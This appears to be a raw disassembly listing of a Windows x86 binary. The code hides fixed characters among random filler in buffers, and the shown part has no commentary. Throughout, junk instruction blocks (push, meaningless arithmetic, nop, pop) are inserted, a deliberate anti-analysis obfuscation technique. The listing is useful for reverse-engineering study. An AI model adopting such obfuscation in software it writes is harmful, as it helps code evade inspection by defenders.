call fcn.00415a00
mov edx, dword [ebp - 0x88]
add edx, 1
mov dword [ebp - 0x88], edx
push ebp
mov ebp, 0x285d017c
sub ebp, ecx
mov ebp, 0x61da7f78
pop ebp
mov dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
jmp 0x403792
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x88]
push edx
lea ecx, [ebp - 0x300]
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x670]
call fcn.00415a00
jmp 0x403792
lea edx, [ebp - 0x670]
push edx
lea eax, [ebp - 0x700]
push eax
call fcn.004076a0
add esp, 8
push 0x3a
push 0
lea ecx, [ebp - 0x918]
push ecx
lea ecx, [ebp - 0x700]
call fcn.004176a0
push edx
mov edx, 0x2770ede
and edx, esp
sub edx, esp
or edx, esi
nop
pop edx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x608], esp
lea edx, [ebp - 0x390]
push edx
call fcn.0040f0c0
mov eax, dword [0x41a6fc]
push eax
push 0x3a
lea ecx, [ebp - 0xa38]
push ecx
lea ecx, [ebp - 0x700]
call fcn.004176a0
push eax
lea edx, [ebp - 0x420]
push edx
call fcn.00407a00
add esp, 0x20
lea ecx, [ebp - 0xa38]
call fcn.0040fa10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x60c], esp
lea eax, [ebp - 0x258]
push eax
call fcn.0040f0c0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x610], esp
lea edx, [ebp - 0x270]
push edx
call fcn.0040f0c0
lea ecx, [ebp - 0x420]
call fcn.00417520
push eax
push 0
lea ecx, [ebp - 0x420]
call fcn.00410180
push eax
call fcn.00408c90
add esp, 0x38
lea ecx, [ebp - 0x420]
call fcn.00417520
push eax
push 0
lea ecx, [ebp - 0x420]
call fcn.00410180
push eax
call fcn.004071b0
add esp, 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x614], esp
lea eax, [ebp - 0x1b0]
push eax
call fcn.0040f0c0
lea ecx, [ebp - 0x420]
push ecx
lea edx, [ebp - 0x6e8]
push edx
call fcn.00407a00
add esp, 0x20
push ebx
and ebx, eax
sbb ebx, ecx
mov ebx, 0x224b3ccf
or ebx, edi
nop
pop ebx
push 0x3a
lea ecx, [ebp - 0x918]
call fcn.00413ef0
push eax
push 0
lea ecx, [ebp - 0x6e8]
call fcn.00414c40
lea ecx, [ebp - 0x6e8]
call fcn.00417520
push eax
lea ecx, [ebp - 0x6e8]
call fcn.00413ef0
push eax
lea eax, [ebp - 0x658]
push eax
call fcn.004073c0
add esp, 0xc
mov dword [ebp - 0xe8], 0
jmp 0x4039d3
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
lea ecx, [ebp - 0x658]
call fcn.00417520
cmp dword [ebp - 0xe8], eax
jae 0x403a41
push ecx
sbb ecx, edx
add ecx, eax
mov ecx, 0x1052db2
xor ecx, ecx
nop
pop ecx
mov edx, dword [ebp - 0xe8]
push edx
lea ecx, [ebp - 0x658]
call fcn.00410180
mov dword [ebp - 0x1dc], eax
mov eax, dword [ebp - 0x60]
add eax, 1
and eax, reloc.WS2_32.dll_closesocket
jns 0x403a1e
dec eax
or eax, 0xfffffffc
inc eax
mov ecx, dword [ebp - 0x1dc]
movsx edx, byte [ecx]
add edx, eax
mov eax, dword [ebp - 0x1dc]
mov byte [eax], dl
push ebp
xor ebp, ecx
mov ebp, 0x2e290979
add ebp, esp
xor ebp, edx
nop
pop ebp
jmp 0x4039c4
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x640]
call fcn.0040f290
mov dword [ebp - 0xec], 0
jmp 0x403a6e
mov ecx, dword [ebp - 0xec]
add ecx, 1
mov dword [ebp - 0xec], ecx
lea ecx, [ebp - 0x658]
call fcn.00417520
cmp dword [ebp - 0xec], eax
jae 0x403adc
mov edx, dword [ebp - 0xec]
push edx
lea ecx, [ebp - 0x658]
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x640]
call fcn.00415a00
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x60]
jne 0x403ad1
mov eax, dword [ebp - 0x60]
add eax, 1
and eax, reloc.WS2_32.dll_closesocket
jns 0x403abe
dec eax
or eax, 0xfffffffc
inc eax
push eax
lea ecx, [ebp - 0x640]
call fcn.00415a00
mov dword [ebp - 0x48], 0
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
jmp 0x403a5f
lea ecx, [ebp - 0x640]
call fcn.00417520
push eax
lea ecx, [ebp - 0x640]
call fcn.00413ef0
push eax
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x144]
push edx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea ecx, [ebp - 0x640]
call fcn.0040fa10
lea ecx, [ebp - 0x658]
call fcn.0040fa10
lea ecx, [ebp - 0x6e8]
call fcn.0040fa10
lea ecx, [ebp - 0x420]
call fcn.0040fa10
lea ecx, [ebp - 0x918]
call fcn.0040fa10
lea ecx, [ebp - 0x700]
call fcn.0040fa10
lea ecx, [ebp - 0x670]
call fcn.0040fa10
lea ecx, [ebp - 0x300]
call fcn.0040fa10
jmp 0x40361d
push edi
mov edi, 0x3f254125
add edi, edx
and edi, ecx
sbb edi, esp
nop
pop edi
mov eax, 5
mov word [0x41e2d0], ax
mov dword [ebp - 0xbc], 0
jmp 0x403b97
mov ecx, dword [ebp - 0xbc]
add ecx, 1
mov dword [ebp - 0xbc], ecx
cmp dword [ebp - 0xbc], 3
jae 0x4040c2
lea ecx, [ebp - 0x80]
call fcn.0040f290
cmp dword [ebp - 0xbc], 0
jne 0x403d81
mov dword [ebp - 0x24], 0
jmp 0x403bcb
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x24], edx
jge 0x403d7c
cmp dword [ebp - 0x24], 3
jne 0x403bfa
push 0x6d
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
cmp dword [ebp - 0x24], 8
jne 0x403c1d
push 0x79
lea ecx, [ebp - 0x80]
call fcn.00410470
push ecx
mov ecx, 0x50f841c4
or ecx, ecx
sub ecx, edi
sub ecx, edx
nop
pop ecx
jmp 0x403d77
cmp dword [ebp - 0x24], 9
jne 0x403c32
push 0x66
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
cmp dword [ebp - 0x24], 0xb
jne 0x403c47
push 0x5f
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
cmp dword [ebp - 0x24], 0xf
jne 0x403c5c
push 0x6c
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
cmp dword [ebp - 0x24], 0x13
jne 0x403c71
push 0x21
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
cmp dword [ebp - 0x24], 0x18
jne 0x403c94
push 0x73
lea ecx, [ebp - 0x80]
call fcn.00410470
push edi
or edi, ebp
mov edi, 0x1dc44a59
xor edi, edi
xor edi, eax
nop
pop edi
jmp 0x403d77
cmp dword [ebp - 0x24], 0x1d
jne 0x403ca9
push 0x75
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
cmp dword [ebp - 0x24], 0x1f
jne 0x403cbe
push 0x70
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
cmp dword [ebp - 0x24], 0x21
jne 0x403cd3
push 0x6c
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
cmp dword [ebp - 0x24], 0x25
jne 0x403ce8
push 0x6f
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
cmp dword [ebp - 0x24], 0x28
jne 0x403cfa
push 0x28
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
cmp dword [ebp - 0x24], 0x2d
jne 0x403d0c
push 0x64
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
cmp dword [ebp - 0x24], 0x32
jne 0x403d2c
push 0x2e
lea ecx, [ebp - 0x80]
call fcn.00410470
push ecx
and ecx, ebx
mov ecx, 0x50c6675e
or ecx, esi
sbb ecx, edi
nop
pop ecx
jmp 0x403d77
cmp dword [ebp - 0x24], 0x33
jne 0x403d3e
push 0x62
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
cmp dword [ebp - 0x24], 0x3c
jne 0x403d50
push 0x5f
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
cmp dword [ebp - 0x24], 0x41
jne 0x403d62
push 0x7a
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403d77
push 0x7a
push 0x61
call fcn.0040a010
add esp, 8
push eax
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403bc2
jmp 0x4040a7
cmp dword [ebp - 0xbc], 1
jne 0x403f02
push edi
or edi, ecx
add edi, ebx
mov edi, 0x276d2e36
or edi, edi
nop
pop edi
mov dword [ebp - 0x34], 0
jmp 0x403dae
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x34], edx
jge 0x403efd
cmp dword [ebp - 0x34], 5
jne 0x403deb
push 0x74
lea ecx, [ebp - 0x80]
call fcn.00410470
push esi
mov esi, 0x2ca0b56
add esi, esi
add esi, edi
xor esi, ebp
nop
pop esi
jmp 0x403ef8
cmp dword [ebp - 0x34], 9
jne 0x403e00
push 0x21
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403ef8
cmp dword [ebp - 0x34], 0xe
jne 0x403e15
push 0x78
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403ef8
cmp dword [ebp - 0x34], 0x14
jne 0x403e2a
push 0x74
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403ef8
cmp dword [ebp - 0x34], 0x15
jne 0x403e3f
push 0x75
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403ef8
cmp dword [ebp - 0x34], 0x17
jne 0x403e62
push 0x70
lea ecx, [ebp - 0x80]
call fcn.00410470
push esi
mov esi, 0x1cbb48eb
mov esi, 0x38987a16
xor esi, esi
pop esi
jmp 0x403ef8
cmp dword [ebp - 0x34], 0x18
jne 0x403e77
push 0x6c
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403ef8
cmp dword [ebp - 0x34], 0x1d
jne 0x403e89
push 0x6f
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403ef8
cmp dword [ebp - 0x34], 0x1f
jne 0x403e9b
push 0x28
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403ef8
cmp dword [ebp - 0x34], 0x21
jne 0x403ead
push 0x64
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403ef8
cmp dword [ebp - 0x34], 0x25
jne 0x403ebf
push 0x2e
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403ef8
cmp dword [ebp - 0x34], 0x28
jne 0x403ed1
push 0x75
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403ef8
cmp dword [ebp - 0x34], 0x2d
jne 0x403ee3
push 0x73
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403ef8
push 0x7a
push 0x61
call fcn.0040a010
add esp, 8
push eax
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x403da5
jmp 0x4040a7
cmp dword [ebp - 0xbc], 2
jne 0x4040a7
mov dword [ebp - 0x3c], 0
jmp 0x403f21
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x3c], edx
jge 0x4040a7
cmp dword [ebp - 0x3c], 5
jne 0x403f50
push 0x74
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x4040a2
cmp dword [ebp - 0x3c], 9
jne 0x403f65
push 0x21
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x4040a2
cmp dword [ebp - 0x3c], 0xe
jne 0x403f7a
push 0x78
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x4040a2
cmp dword [ebp - 0x3c], 0x14
jne 0x403f8f
push 0x74
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x4040a2
cmp dword [ebp - 0x3c], 0x15
jne 0x403fa4
push 0x64
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x4040a2
cmp dword [ebp - 0x3c], 0x17
jne 0x403fe3
push 0x28
lea ecx, [ebp - 0x80]
call fcn.00410470
push eax
mov eax, 0x5f270c76
mov eax, 0x62a00361
sub eax, esi
pop eax
push esi
sub esi, edi
mov esi, 0x27b25009
mov esi, 0x3fb6265a
pop esi
push edx
mov edx, 0xf772ab7
and edx, ecx
mov edx, 0x7d3e5247
pop edx
jmp 0x4040a2
cmp dword [ebp - 0x3c], 0x18
jne 0x404006
push 0x74
lea ecx, [ebp - 0x80]
call fcn.00410470
push ecx
mov ecx, 0x6bd9775c
xor ecx, esp
and ecx, edx
sub ecx, edx
nop
pop ecx
jmp 0x4040a2
cmp dword [ebp - 0x3c], 0x1d
jne 0x40401b
push 0x28
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x4040a2
cmp dword [ebp - 0x3c], 0x1f
jne 0x40403b
push 0x2e
lea ecx, [ebp - 0x80]
call fcn.00410470
push ebp
xor ebp, esp
sbb ebp, edi
sub ebp, eax
mov ebp, 0x59c38e2
nop
pop ebp
jmp 0x4040a2
cmp dword [ebp - 0x3c], 0x21
jne 0x40404d
push 0x62
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x4040a2
cmp dword [ebp - 0x3c], 0x25
jne 0x40405f
push 0x5f
lea ecx, [ebp - 0x80]
call fcn.00410470
jmp 0x4040a2
cmp dword [ebp - 0x3c], 0x28
jne 0x40407f
push 0x7a
lea ecx, [ebp - 0x80]
call fcn.00410470
push eax
xor eax, edx
mov eax, 0x23833e85
and eax, edx
sub eax, eax
nop
pop eax
jmp 0x4040a2
push 0x7a
push 0x61
call fcn.0040a010
add esp, 8
push eax
lea ecx, [ebp - 0x80]
call fcn.00410470
push edx
mov edx, 0x5ee42de6
mov edx, 0x1b7d1046
or edx, ecx
pop edx
jmp 0x403f18
lea edx, [ebp - 0x80]
push edx
mov ecx, 0x41e39c
call fcn.00415fa0
lea ecx, [ebp - 0x80]
call fcn.0040fa10
jmp 0x403b88
mov dword [ebp - 8], 0
jmp 0x4040d4
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jae 0x404b6b
lea ecx, [ebp - 0xac]
call fcn.0040f290
cmp dword [ebp - 8], 0
jne 0x40452f
push edi
or edi, edi
and edi, ecx
mov edi, 0x716b0135
xor edi, edi
nop
pop edi
mov dword [ebp - 0xc], 0
jmp 0x404113
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xc], edx
jge 0x40452a
push ebp
and ebp, esi
sbb ebp, esp
mov ebp, 0x67d06c78
add ebp, ebx
nop
pop ebp
cmp dword [ebp - 0xc], 3
jne 0x404170
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404525
cmp dword [ebp - 0xc], 8
jne 0x4041cf
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
push edx
mov edx, 0x36db0450
and edx, eax
and edx, esp
add edx, eax
nop
pop edx
push ebp
xor ebp, edx
mov ebp, 0x43af653f
sub ebp, ebx
sbb ebp, edx
nop
pop ebp
push ebx
add ebx, edi
mov ebx, 0x593c180a
sbb ebx, eax
or ebx, edx
nop
pop ebx
jmp 0x404525
cmp dword [ebp - 0xc], 9
jne 0x404204
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404525
cmp dword [ebp - 0xc], 0xb
jne 0x404239
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404525
cmp dword [ebp - 0xc], 0xf
jne 0x40428a
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
push ebp
mov ebp, 0x6bc350b0
add ebp, esp
mov ebp, 0x27c94b70
pop ebp
push eax
and eax, esi
mov eax, 0x6ca5029f
mov eax, 0x3f7c5331
pop eax
jmp 0x404525
cmp dword [ebp - 0xc], 0x13
jne 0x4042bf
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404525
cmp dword [ebp - 0xc], 0x18
jne 0x4042f4
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404525
cmp dword [ebp - 0xc], 0x1d
jne 0x404329
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404525
cmp dword [ebp - 0xc], 0x1f
jne 0x40436c
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xac]
call fcn.00410470
push ebp
sbb ebp, esp
mov ebp, 0x58225121
or ebp, esp
or ebp, edx
nop
pop ebp
jmp 0x404525
cmp dword [ebp - 0xc], 0x21
jne 0x4043a1
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404525
cmp dword [ebp - 0xc], 0x25
jne 0x4043d6
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404525
cmp dword [ebp - 0xc], 0x28
jne 0x40440b
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404525
cmp dword [ebp - 0xc], 0x2d
jne 0x40444e
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
push eax
sub eax, eax
mov eax, 0x3e8f1329
mov eax, 0x378354ff
pop eax
jmp 0x404525
cmp dword [ebp - 0xc], 0x32
jne 0x404483
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404525
cmp dword [ebp - 0xc], 0x33
jne 0x4044b5
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404525
cmp dword [ebp - 0xc], 0x3c
jne 0x4044e7
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404525
cmp dword [ebp - 0xc], 0x41
jne 0x404525
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
push ebp
sbb ebp, ecx
sbb ebp, edi
and ebp, esi
mov ebp, 0x4719285e
nop
pop ebp
jmp 0x40410a
jmp 0x404b31
cmp dword [ebp - 8], 1
jne 0x40483f
mov dword [ebp - 0x14], 0
jmp 0x40454b
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x14], edx
jge 0x40483a
cmp dword [ebp - 0x14], 5
jne 0x40459a
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404835
cmp dword [ebp - 0x14], 9
jne 0x4045dd
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
push ecx
mov ecx, 0xe15019f
xor ecx, edi
or ecx, eax
sbb ecx, ebp
nop
pop ecx
jmp 0x404835
cmp dword [ebp - 0x14], 0xe
jne 0x404612
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404835
cmp dword [ebp - 0x14], 0x14
jne 0x404647
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404835
cmp dword [ebp - 0x14], 0x15
jne 0x40467c
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404835
cmp dword [ebp - 0x14], 0x17
jne 0x4046b1
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404835
cmp dword [ebp - 0x14], 0x18
jne 0x4046f4
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
push edi
and edi, esi
and edi, edi
mov edi, 0x29275fe1
sub edi, esp
nop
pop edi
jmp 0x404835
cmp dword [ebp - 0x14], 0x1d
jne 0x404729
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404835
cmp dword [ebp - 0x14], 0x1f
jne 0x40475e
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404835
cmp dword [ebp - 0x14], 0x21
jne 0x404793
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404835
cmp dword [ebp - 0x14], 0x25
jne 0x4047c5
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404835
cmp dword [ebp - 0x14], 0x28
jne 0x4047f7
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404835
cmp dword [ebp - 0x14], 0x2d
jne 0x404835
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
push esi
xor esi, edi
or esi, esi
mov esi, 0xb981117
sbb esi, esp
nop
pop esi
jmp 0x404542
jmp 0x404b31
cmp dword [ebp - 8], 2
jne 0x404b31
mov dword [ebp - 0x18], 0
jmp 0x40485b
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x18], edx
jge 0x404b31
cmp dword [ebp - 0x18], 5
jne 0x4048b8
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
push ebx
mov ebx, 0x1e466392
xor ebx, ebx
or ebx, edx
or ebx, edx
nop
pop ebx
jmp 0x404b2c
cmp dword [ebp - 0x18], 9
jne 0x404909
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
push edx
mov edx, 0x2cf539fe
sbb edx, eax
mov edx, 0x36861f7
pop edx
push ecx
mov ecx, 0xeaa6935
xor ecx, esp
mov ecx, 0x64c106ee
pop ecx
jmp 0x404b2c
cmp dword [ebp - 0x18], 0xe
jne 0x40494c
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xac]
call fcn.00410470
push ebp
mov ebp, 0x285d017c
sub ebp, ecx
mov ebp, 0x61da7f78
pop ebp
jmp 0x404b2c
cmp dword [ebp - 0x18], 0x14
jne 0x404981
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404b2c
